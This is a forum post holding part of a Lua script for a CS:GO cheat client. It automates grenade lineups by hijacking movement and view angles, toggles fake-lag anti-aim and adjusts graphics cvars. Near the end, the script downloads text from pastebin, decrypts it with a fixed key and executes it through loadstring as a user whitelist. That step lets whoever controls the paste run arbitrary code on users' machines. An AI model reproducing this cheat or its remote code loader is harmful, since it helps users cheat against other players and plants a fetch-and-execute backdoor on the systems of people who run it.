                         cmd.buttons = bit.band(cmd.buttons, bit.bnot(2048))
                         cmd.viewangles = self.closest_nade.ang
                         self.force_forward = self.closest_nade.extendforward
                    end
                    if(self.closest_nade.jumpthresthold > 0 and cmd.tick_count - self.jump_tick >= self.closest_nade.jumpthresthold) then
                         cmd.buttons = bit.bor(cmd.buttons, 2)
                    end
               end
               if(throwtime > 0.0 and throwtime < g_GlobalVars.curtime) then
                    self:setup_backup_strafe(cmd)
                    self.closest_nade = nil
                    self.closest_nade_position = nil
                    self.should_throw = false
                    self.run_tick = 0
                    self.jump_tick = 0
                    self.force_forward = false
                    menu_elements.autostrafe:SetBool(self.old_autostrafe)
               end
          elseif(self.closest_nade_position and lua_elements.nade_helper:GetBool() == true) then
               cmd.buttons = bit.band(cmd.buttons, bit.bnot(2048))
               local origin = localplayer:GetProp("DT_BaseEntity", "m_vecOrigin")
               local onground = (bit.band(localplayer:GetProp("DT_BasePlayer", "m_fFlags"), 1) == 1)
               local delta = (self.closest_nade_position - origin)
               local length = #delta
               if(onground == true and length < 100.0) then
                    local viewangles = g_EngineClient:GetViewAngles()
                    local direction = cheat.VectorToAngle(delta)
                    direction.yaw = viewangles.yaw - direction.yaw
                    local move = cheat.AngleToForward(direction)
                    local v1 = bit.band(cmd.buttons, 8) == 8
                    local v2 = bit.band(cmd.buttons, 16) == 16
                    local v3 = bit.band(cmd.buttons, 512) == 512
                    local v4 = bit.band(cmd.buttons, 1024) == 1024
                    local in_duck = bit.band(cmd.buttons, 4) == 4
                    local in_move = (v1 or v2 or v3 or v4)
                    if(in_move == false and length > 0.1) then
                        cmd.forwardmove = move.x * (450.0 * (math.exp(math_helpers:clamp(length, 0.0, 5.0) - 5.0)) + 1.0)
                        cmd.sidemove = move.y * (450.0 * (math.exp(math_helpers:clamp(length, 0.0, 5.0) - 5.0)) + 1.0)
                        if(in_duck == true) then
                              cmd.forwardmove = cmd.forwardmove * 2.93
                              cmd.sidemove = cmd.sidemove * 2.93
                        end
                    elseif(weapon:GetProp("DT_BaseCSGrenade", "m_bPinPulled")  and self.closest_nade and velocity:Length2D() < 10.0) then
                         self.should_throw = true
                         self.old_autostrafe = menu_elements.autostrafe:GetBool()
                         menu_elements.autostrafe:SetBool(false)
                    end
               end
          end
     end,
}

local function on_pre_prediction(cmd)
     grenade_helper:on_pre_prediction(cmd)
end

local function on_draw()
     lua_elements.screensize = g_EngineClient:GetScreenSize()
     grenade_helper:on_draw()
end

local function on_prediction(cmd)
     grenade_helper:on_prediction(cmd)
end

local function disablefklg()
     local fklg = g_Config:FindVar("Aimbot", "Anti Aim", "Fake Lag", "Enable Fake Lag")
     local me1 = g_EntityList:GetClientEntity(g_EngineClient:GetLocalPlayer()):GetPlayer()
     local weap1 = me1:GetActiveWeapon()
     if not g_EngineClient:IsConnected() then
        return
    end
     if not g_EngineClient:IsInGame() then
        return
    end
     if (misc_elements.disable_fakelag:GetBool() == true and weap1:IsGrenade()) then
          fklg:SetBool(false)
     else
          fklg:SetBool(true)
     end
end

local function fpsboost()
     local cvar0 = g_CVar:FindVar('r_shadows')
     local cvar1 = g_CVar:FindVar('cl_csm_static_prop_shadows')
     local cvar2 = g_CVar:FindVar('cl_csm_shadows')
     local cvar3 = g_CVar:FindVar('cl_csm_world_shadows')
     local cvar4 = g_CVar:FindVar('cl_foot_contact_shadows')
     local cvar5 = g_CVar:FindVar('cl_csm_viewmodel_shadows')
     local cvar6 = g_CVar:FindVar('cl_csm_rope_shadows')
     local cvar7 = g_CVar:FindVar('cl_csm_sprite_shadows')
     local cvar8 = g_CVar:FindVar('violence_hblood')
     local cvar9 = g_CVar:FindVar('r_3dsky')
     local cvar10 = g_CVar:FindVar('r_drawrain')
     local cvar11 = g_CVar:FindVar('r_drawropes')
     local cvar12 = g_CVar:FindVar('r_drawsprites')
     local cvar13 = g_CVar:FindVar('fog_enable_water_fog')
     local cvar14 = g_CVar:FindVar('@panorama_disable_blur')
     local cvar16 = g_CVar:FindVar('func_break_max_pieces')
     local cvar17 = g_CVar:FindVar('r_dynamic')
     local cvar18 = g_CVar:FindVar('r_dynamiclighting')
     local cvar19 = g_CVar:FindVar('mat_disable_bloom')
     local cvar20 = g_CVar:FindVar('cl_disable_ragdolls')
     local cvar21 = g_CVar:FindVar('dsp_slow_cpu')
     local cvar22 = g_CVar:FindVar('r_eyegloss')
     local cvar23 = g_CVar:FindVar('r_eyemove')
     local cvar24 = g_CVar:FindVar('r_eyeshift_x')
     local cvar25 = g_CVar:FindVar('r_eyeshift_y')
     local cvar26 = g_CVar:FindVar('r_eyeshift_z')
     local cvar27 = g_CVar:FindVar('r_eyesize')
     if (misc_elements.fps_boost:GetBool() == true) then
          cvar0:SetInt(0)
          cvar1:SetInt(0)
          cvar2:SetInt(0)
          cvar3:SetInt(0)
          cvar4:SetInt(0)
          cvar5:SetInt(0)
          cvar6:SetInt(0)
          cvar7:SetInt(0)
          cvar8:SetInt(0)
          cvar9:SetInt(0)
          cvar10:SetInt(0)
          cvar11:SetInt(0)
          cvar12:SetInt(0)
          cvar13:SetInt(0)
          cvar14:SetInt(1)
          cvar16:SetInt(0)
          cvar17:SetInt(0)
          cvar18:SetInt(0)
          cvar19:SetInt(1)
          cvar20:SetInt(1)
          cvar21:SetInt(1)
          cvar22:SetInt(0)
          cvar23:SetInt(0)
          cvar24:SetInt(0)
          cvar25:SetInt(0)
          cvar26:SetInt(0)
          cvar27:SetInt(0)
     else
          cvar0:SetInt(1)
          cvar1:SetInt(1)
          cvar2:SetInt(1)
          cvar3:SetInt(1)
          cvar4:SetInt(1)
          cvar5:SetInt(1)
          cvar6:SetInt(1)
          cvar7:SetInt(1)
          cvar8:SetInt(1)
          cvar9:SetInt(1)
          cvar10:SetInt(1)
          cvar11:SetInt(1)
          cvar12:SetInt(1)
          cvar13:SetInt(1)
          cvar14:SetInt(0)
          cvar16:SetInt(1)
          cvar17:SetInt(1)
          cvar18:SetInt(1)
          cvar19:SetInt(0)
          cvar20:SetInt(0)
          cvar21:SetInt(0)
          cvar22:SetInt(1)
          cvar23:SetInt(1)
          cvar24:SetInt(1)
          cvar25:SetInt(1)
          cvar26:SetInt(1)
          cvar27:SetInt(1)
     end
end
local function firstpersonhe()
     local tp_ref = g_Config:FindVar("Visuals", "View", "Thirdperson", "Enable Thirdperson")
     local me = g_EntityList:GetClientEntity(g_EngineClient:GetLocalPlayer()):GetPlayer()
     local weap = me:GetActiveWeapon()
     if not g_EngineClient:IsConnected() then
        return
    end
     if not g_EngineClient:IsInGame() then
        return
    end
     if (misc_elements.enable_firstpersonnade:GetBool() == true and weap:IsGrenade()) then
               tp_ref:SetBool(false)
     end
     if(misc_elements.enable_firstpersonnade:GetBool() == false) then
          return
     end
end

local function movecreate()
     firstpersonhe()
     disablefklg()
    fpsboost()
end


local username = cheat.GetCheatUserName()
local ver = "12.07.2021"
local sas1 = decode(http.Get("https://pastebin.com/raw/qcQFfW2K"))
local key1 = "1337"
local dec1 = crypt(key1, sas1)
local v = http.Get("https://pastebin.com/raw/GhFjv5QW")
local sy = loadstring("return" .. dec1)()
    text = ""
    for i, dat in pairs(sy) do
        text = text.."|"..sy[i]
    end
local da = string.find(text, cheat.GetCheatUserName())
if (da == nil) then
     cheat.AddNotify("Info", "Invalid username, if you think there was an error dm me whir#3212.\n")
     menu.Text("")
else
     cheat.AddNotify("Info", "Welcome back, " .. username .. "\nLast upd: "..v.."\n")
end

if not(ver == v) then

     cheat.AddNotify("Info", "Lua needs to update, download last in discord.\n")
     menu.Text("")

else
     cheat.RegisterCallback("draw", on_draw)
     cheat.RegisterCallback("createmove", movecreate)
     cheat.RegisterCallback("pre_prediction", on_pre_prediction)
     cheat.RegisterCallback("prediction", on_prediction)
end
 
Последнее редактирование:
Забаненный
Статус
Оффлайн
Регистрация
25 Июн 2020
Сообщения
170
Реакции[?]
22
Поинты[?]
0
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Забаненный
Статус
Оффлайн
Регистрация
25 Июн 2020
Сообщения
170
Реакции[?]
22
Поинты[?]
0
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Сверху Снизу